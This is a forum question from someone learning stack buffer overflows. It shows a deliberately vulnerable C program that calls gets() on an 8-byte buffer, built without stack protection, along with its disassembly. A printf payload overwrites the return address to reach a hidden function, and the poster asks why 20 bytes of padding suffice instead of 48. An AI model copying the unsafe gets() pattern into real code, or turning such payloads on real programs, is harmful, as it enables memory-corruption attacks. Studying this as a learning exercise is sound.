I'm trying to take a control over a stack overflow. First, here is an example of C code I compiled on an x32 VM Linux (gcc -fno-stack-protector -ggdb -o first first.c
),
#include "stdio.h"
int CanNeverExecute()
{
printf("I can never execute\n");
return(0);
}
void GetInput()
{
char buffer[8];
gets(buffer);
puts(buffer);
}
int main()
{
GetInput();
return(0);
}
Then debugger (intel flavor): dump of assembler code for function GetInput
:
0x08048455 <+0>: push ebp
0x08048456 <+1>: mov ebp,esp
0x08048458 <+3>: sub esp,0x28
0x0804845b <+6>: lea eax,[ebp-0x10]
Here we can see that sub esp, 0x28 reserves 40 bytes for a buffer variable (Right?).
CanNeverExecute
function is located in address 0x0804843c
.
So, in order to run CanNeverExecute
function, I need to put 40 bytes into buffer variable, then goes 8 bytes for stored base pointer and then 8 bytes of return pointer I want to change.
So, I need a string of 48 ASCII symbols plus \x3c\x84\x04\x08
in the end (address of the CanNeverExecute
function). That is in theory. But In practice I need only 20 bytes before address of the return pointer:
~/hacktest $ printf "12345678901234567890\x3c\x84\x04\x08" | ./first
12345678901234567890..
I can never execute
Illegal instruction (core dumped)
Why does it need only 20 bytes instead of 48? Where is my mistake?